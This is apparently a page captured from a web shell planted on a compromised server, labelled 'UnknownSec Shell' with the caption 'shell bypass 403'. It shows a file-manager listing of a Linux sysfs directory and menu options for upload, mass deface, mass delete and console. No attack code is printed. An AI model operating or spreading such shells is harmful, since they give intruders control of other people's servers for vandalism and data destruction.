shell bypass 403

UnknownSec Shell

: /sys/class/tty/ttyS21/device/subsystem/drivers/ctrl/ [ drwxr-xr-x ]
upload mass deface mass delete console info server
name last edit size owner:downer permission options
..
00:00:0 2026-02-21 02:33:41 dir root:root drwxr-xr-x
serial8250:0 2026-02-21 01:35:11 dir root:root drwxr-xr-x
uevent 2026-02-21 05:12:10 4 KB root:root --w-------
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